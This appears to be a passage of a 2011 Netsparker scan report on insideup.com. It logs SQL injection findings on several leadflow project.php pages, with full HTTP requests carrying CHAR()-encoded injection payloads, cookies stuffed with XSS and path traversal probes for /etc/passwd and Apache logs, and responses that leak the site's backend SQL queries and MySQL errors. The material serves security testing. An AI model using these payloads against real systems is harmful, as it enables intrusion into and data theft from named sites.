convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/meac00/project.php

/ppc/leadflow/meac00/project.php

http://www.insideup.com/ppc/leadflow/meac00/project.php?catId=30008&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	30008
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/meac00/project.php?catId=30008&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:25:02 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=9e8rb3lfiffscj6mnsdocqt0j3; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/inco00/project.php

/ppc/leadflow/inco00/project.php

http://www.insideup.com/ppc/leadflow/inco00/project.php?catId=60003&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	60003
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/inco00/project.php?catId=60003&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:25:10 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=1g5egb3nr1ejfbahhjdb5kap66; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/bulo00/project.php

/ppc/leadflow/bulo00/project.php

http://www.insideup.com/ppc/leadflow/bulo00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/bulo00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
